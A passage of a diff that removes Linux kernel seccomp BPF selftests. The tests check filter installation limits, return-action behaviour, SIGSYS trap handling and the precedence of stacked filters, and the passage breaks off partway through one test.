-#ifndef SECCOMP_EXT_ACT
-#define SECCOMP_EXT_ACT 1
-#endif
-
-#ifndef SECCOMP_EXT_ACT_TSYNC
-#define SECCOMP_EXT_ACT_TSYNC 1
-#endif
-
-#ifndef SECCOMP_MODE_STRICT
-#define SECCOMP_MODE_STRICT 1
-#endif
-
-#ifndef SECCOMP_MODE_FILTER
-#define SECCOMP_MODE_FILTER 2
-#endif
-
-#ifndef SECCOMP_RET_KILL
-#define SECCOMP_RET_KILL        0x00000000U // kill the task immediately
-#define SECCOMP_RET_TRAP        0x00030000U // disallow and force a SIGSYS
-#define SECCOMP_RET_ERRNO       0x00050000U // returns an errno
-#define SECCOMP_RET_TRACE       0x7ff00000U // pass to a tracer or disallow
-#define SECCOMP_RET_ALLOW       0x7fff0000U // allow
-
-/* Masks for the return value sections. */
-#define SECCOMP_RET_ACTION      0x7fff0000U
-#define SECCOMP_RET_DATA        0x0000ffffU
-
-struct seccomp_data {
-	int nr;
-	__u32 arch;
-	__u64 instruction_pointer;
-	__u64 args[6];
-};
-#endif
-
-#define syscall_arg(_n) (offsetof(struct seccomp_data, args[_n]))
-
-#define SIBLING_EXIT_UNKILLED	0xbadbeef
-#define SIBLING_EXIT_FAILURE	0xbadface
-#define SIBLING_EXIT_NEWPRIVS	0xbadfeed
-
-TEST(mode_strict_support) {
-	long ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT, NULL, NULL, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support CONFIG_SECCOMP");
-	}
-	syscall(__NR_exit, 1);
-}
-
-TEST_SIGNAL(mode_strict_cannot_call_prctl, SIGKILL) {
-	long ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT, NULL, NULL, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support CONFIG_SECCOMP");
-	}
-	syscall(__NR_prctl, PR_SET_SECCOMP, SECCOMP_MODE_FILTER, NULL, NULL, NULL);
-	EXPECT_FALSE(true) {
-		TH_LOG("Unreachable!");
-	}
-}
-
-/* Note! This doesn't test no new privs behavior */
-TEST(no_new_privs_support) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	EXPECT_EQ(0, ret) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-}
-
-/* Tests kernel support by checking for a copy_from_user() fault on * NULL. */
-TEST(mode_filter_support) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, NULL, 0, 0);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, NULL, NULL, NULL);
-	EXPECT_EQ(-1, ret);
-	EXPECT_EQ(EFAULT, errno) {
-		TH_LOG("Kernel does not support CONFIG_SECCOMP_FILTER!");
-	}
-}
-
-TEST(mode_filter_without_nnp) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_GET_NO_NEW_PRIVS, 0, NULL, 0, 0);
-	ASSERT_LE(0, ret) {
-		TH_LOG("Expected 0 or unsupported for NO_NEW_PRIVS");
-	}
-	errno = 0;
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-	/* Succeeds with CAP_SYS_ADMIN, fails without */
-	/* TODO(wad) check caps not euid */
-	if (geteuid()) {
-		EXPECT_EQ(-1, ret);
-		EXPECT_EQ(EACCES, errno);
-	} else {
-		EXPECT_EQ(0, ret);
-	}
-}
-
-#define MAX_INSNS_PER_PATH 32768
-
-TEST(filter_size_limits) {
-	int i;
-	int count = BPF_MAXINSNS + 1;
-	struct sock_filter allow[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_filter *filter;
-	struct sock_fprog prog = { };
-
-	filter = calloc(count, sizeof(*filter));
-	ASSERT_NE(NULL, filter);
-
-	for (i = 0; i < count; i++) {
-		filter[i] = allow[0];
-	}
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	prog.filter = filter;
-	prog.len = count;
-
-	/* Too many filter instructions in a single filter. */
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-	ASSERT_NE(0, ret) {
-		TH_LOG("Installing %d insn filter was allowed", prog.len);
-	}
-
-	/* One less is okay, though. */
-	prog.len -= 1;
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Installing %d insn filter wasn't allowed", prog.len);
-	}
-}
-
-TEST(filter_chain_limits) {
-	int i;
-	int count = BPF_MAXINSNS;
-	struct sock_filter allow[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_filter *filter;
-	struct sock_fprog prog = { };
-
-	filter = calloc(count, sizeof(*filter));
-	ASSERT_NE(NULL, filter);
-
-	for (i = 0; i < count; i++) {
-		filter[i] = allow[0];
-	}
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	prog.filter = filter;
-	prog.len = 1;
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	prog.len = count;
-
-	/* Too many total filter instructions. */
-	for (i = 0; i < MAX_INSNS_PER_PATH; i++) {
-		ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-		if (ret != 0)
-			break;
-	}
-	ASSERT_NE(0, ret) {
-		TH_LOG("Allowed %d %d-insn filters (total with penalties:%d)",
-		       i, count, i * (count + 4));
-	}
-}
-
-TEST(mode_filter_cannot_move_to_strict) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT, NULL, 0, 0);
-	EXPECT_EQ(-1, ret);
-	EXPECT_EQ(EINVAL, errno);
-}
-
-
-TEST(mode_filter_get_seccomp) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_GET_SECCOMP, 0, 0, 0, 0);
-	EXPECT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_GET_SECCOMP, 0, 0, 0, 0);
-	EXPECT_EQ(2, ret);
-}
-
-
-TEST(ALLOW_all) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-}
-
-TEST(empty_prog) {
-	struct sock_filter filter[] = {
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	EXPECT_EQ(-1, ret);
-	EXPECT_EQ(EINVAL, errno);
-}
-
-TEST_SIGNAL(unknown_ret_is_kill_inside, SIGSYS) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, 0x10000000U),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-	EXPECT_EQ(0, syscall(__NR_getpid)) {
-		TH_LOG("getpid() shouldn't ever return");
-	}
-}
-
-/* return code >= 0x80000000 is unused. */
-TEST_SIGNAL(unknown_ret_is_kill_above_allow, SIGSYS) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, 0x90000000U),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-	EXPECT_EQ(0, syscall(__NR_getpid)) {
-		TH_LOG("getpid() shouldn't ever return");
-	}
-}
-
-TEST_SIGNAL(KILL_all, SIGSYS) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-}
-
-TEST_SIGNAL(KILL_one, SIGSYS) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	/* getpid() should never return. */
-	EXPECT_EQ(0, syscall(__NR_getpid));
-}
-
-TEST_SIGNAL(KILL_one_arg_one, SIGSYS) {
-	void *fatal_address;
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_times, 1, 0),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-		/* Only both with lower 32-bit for now. */
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS, syscall_arg(0)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,
-			(unsigned long)&fatal_address, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	struct tms timebuf;
-	clock_t clock = times(&timebuf);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	EXPECT_LE(clock, syscall(__NR_times, &timebuf));
-	/* times() should never return. */
-	EXPECT_EQ(0, syscall(__NR_times, &fatal_address));
-}
-
-TEST_SIGNAL(KILL_one_arg_six, SIGSYS) {
-#ifndef __NR_mmap2
-	int sysno = __NR_mmap;
-#else
-	int sysno = __NR_mmap2;
-#endif
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, sysno, 1, 0),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-		/* Only both with lower 32-bit for now. */
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS, syscall_arg(5)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, 0x0C0FFEE, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	int fd;
-	void *map1, *map2;
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-
-	fd = open("/dev/zero", O_RDONLY);
-	ASSERT_NE(-1, fd);
-
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	map1 = (void *)syscall(sysno,
-		NULL, PAGE_SIZE, PROT_READ, MAP_PRIVATE, fd, PAGE_SIZE);
-	EXPECT_NE(MAP_FAILED, map1);
-	/* mmap2() should never return. */
-	map2 = (void *)syscall(sysno,
-		 NULL, PAGE_SIZE, PROT_READ, MAP_PRIVATE, fd, 0x0C0FFEE);
-	EXPECT_EQ(MAP_FAILED, map2);
-
-	/* The test failed, so clean up the resources. */
-	munmap(map1, PAGE_SIZE);
-	munmap(map2, PAGE_SIZE);
-	close(fd);
-}
-
-/* TODO(wad) add 64-bit versus 32-bit arg tests. */
-
-TEST(arg_out_of_range) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS, syscall_arg(6)),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	EXPECT_EQ(-1, ret);
-	EXPECT_EQ(EINVAL, errno);
-}
-
-TEST(ERRNO_one) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_read, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO | E2BIG),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	EXPECT_EQ(-1, read(0, NULL, 0));
-	EXPECT_EQ(E2BIG, errno);
-}
-
-TEST(ERRNO_one_ok) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_read, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO | 0),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
-	ASSERT_EQ(0, ret);
-
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	/* "errno" of 0 is ok. */
-	EXPECT_EQ(0, read(0, NULL, 0));
-}
-
-FIXTURE_DATA(TRAP) {
-	struct sock_fprog prog;
-};
-
-FIXTURE_SETUP(TRAP) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRAP),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	memset(&self->prog, 0, sizeof(self->prog));
-	self->prog.filter = malloc(sizeof(filter));
-	ASSERT_NE(NULL, self->prog.filter);
-	memcpy(self->prog.filter, filter, sizeof(filter));
-	self->prog.len = (unsigned short)(sizeof(filter)/sizeof(filter[0]));
-}
-
-FIXTURE_TEARDOWN(TRAP) {
-	if (self->prog.filter)
-		free(self->prog.filter);
-};
-
-TEST_F_SIGNAL(TRAP, dfl, SIGSYS) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog);
-	ASSERT_EQ(0, ret);
-	syscall(__NR_getpid);
-}
-
-/* Ensure that SIGSYS overrides SIG_IGN */
-TEST_F_SIGNAL(TRAP, ign, SIGSYS) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	signal(SIGSYS, SIG_IGN);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog);
-	ASSERT_EQ(0, ret);
-	syscall(__NR_getpid);
-}
-
-static struct siginfo TRAP_info;
-static volatile int TRAP_nr;
-static void TRAP_action(int nr, siginfo_t *info, void *void_context)
-{
-	memcpy(&TRAP_info, info, sizeof(TRAP_info));
-	TRAP_nr = nr;
-	return;
-}
-
-TEST_F(TRAP, handler) {
-	int ret, test;
-	struct sigaction act;
-	sigset_t mask;
-	memset(&act, 0, sizeof(act));
-	sigemptyset(&mask);
-	sigaddset(&mask, SIGSYS);
-
-	act.sa_sigaction = &TRAP_action;
-	act.sa_flags = SA_SIGINFO;
-	ret = sigaction(SIGSYS, &act, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("sigaction failed");
-	}
-	ret = sigprocmask(SIG_UNBLOCK, &mask, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("sigprocmask failed");
-	}
-
-	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog);
-	ASSERT_EQ(0, ret);
-	TRAP_nr = 0;
-	memset(&TRAP_info, 0, sizeof(TRAP_info));
-	/* Expect the registers to be rolled back. (nr = error) may vary
-	 * based on arch. */
-	ret = syscall(__NR_getpid);
-	/* Silence gcc warning about volatile. */
-	test = TRAP_nr;
-	EXPECT_EQ(SIGSYS, test);
-	struct local_sigsys {
-			void *_call_addr; /* calling user insn */
-			int _syscall;	/* triggering system call number */
-			unsigned int _arch;	/* AUDIT_ARCH_* of syscall */
-	} *sigsys = (struct local_sigsys *)
-#ifdef si_syscall
-		&(TRAP_info.si_call_addr);
-#else
-		&TRAP_info.si_pid;
-#endif
-	EXPECT_EQ(__NR_getpid, sigsys->_syscall);
-	/* Make sure arch is non-zero. */
-	EXPECT_NE(0, sigsys->_arch);
-	EXPECT_NE(0, (unsigned long)sigsys->_call_addr);
-}
-
-FIXTURE_DATA(precedence) {
-	struct sock_fprog allow;
-	struct sock_fprog trace;
-	struct sock_fprog error;
-	struct sock_fprog trap;
-	struct sock_fprog kill;
-};
-
-FIXTURE_SETUP(precedence) {
-	struct sock_filter allow_insns[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_filter trace_insns[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 1, 0),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE),
-	};
-	struct sock_filter error_insns[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 1, 0),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO),
-	};
-	struct sock_filter trap_insns[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 1, 0),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRAP),
-	};
-	struct sock_filter kill_insns[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 1, 0),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
-	};
-	memset(self, 0, sizeof(*self));
-#define FILTER_ALLOC(_x) \
-	self->_x.filter = malloc(sizeof(_x##_insns)); \
-	ASSERT_NE(NULL, self->_x.filter); \
-	memcpy(self->_x.filter, &_x##_insns, sizeof(_x##_insns)); \
-	self->_x.len = (unsigned short)(sizeof(_x##_insns)/sizeof(_x##_insns[0]))
-	FILTER_ALLOC(allow);
-	FILTER_ALLOC(trace);
-	FILTER_ALLOC(error);
-	FILTER_ALLOC(trap);
-	FILTER_ALLOC(kill);
-}
-
-FIXTURE_TEARDOWN(precedence) {
-#define FILTER_FREE(_x) if (self->_x.filter) free(self->_x.filter)
-	FILTER_FREE(allow);
-	FILTER_FREE(trace);
-	FILTER_FREE(error);
-	FILTER_FREE(trap);
-	FILTER_FREE(kill);
-}
-
-TEST_F(precedence, allow_ok) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	pid_t res = 0;
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->error);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trap);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->kill);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	res = syscall(__NR_getppid);
-	EXPECT_EQ(parent, res);
-}
-
-TEST_F_SIGNAL(precedence, kill_is_highest, SIGSYS) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	pid_t res = 0;
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->error);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trap);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->kill);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	res = syscall(__NR_getppid);
-	EXPECT_EQ(parent, res);
-	/* getpid() should never return. */
-	res = syscall(__NR_getpid);
-	EXPECT_EQ(0, res);
-}
-
-TEST_F_SIGNAL(precedence, kill_is_highest_in_any_order, SIGSYS) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->kill);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->error);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trap);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	/* getpid() should never return. */
-	EXPECT_EQ(0, syscall(__NR_getpid));
-}
-
-TEST_F_SIGNAL(precedence, trap_is_second, SIGSYS) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->error);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trap);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	/* getpid() should never return. */
-	EXPECT_EQ(0, syscall(__NR_getpid));
-}
-
-TEST_F_SIGNAL(precedence, trap_is_second_in_any_order, SIGSYS) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trap);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->error);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	/* getpid() should never return. */
-	EXPECT_EQ(0, syscall(__NR_getpid));
-}
-
-TEST_F(precedence, errno_is_third) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->error);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	EXPECT_EQ(0, syscall(__NR_getpid));
-}
-
-TEST_F(precedence, errno_is_third_in_any_order) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
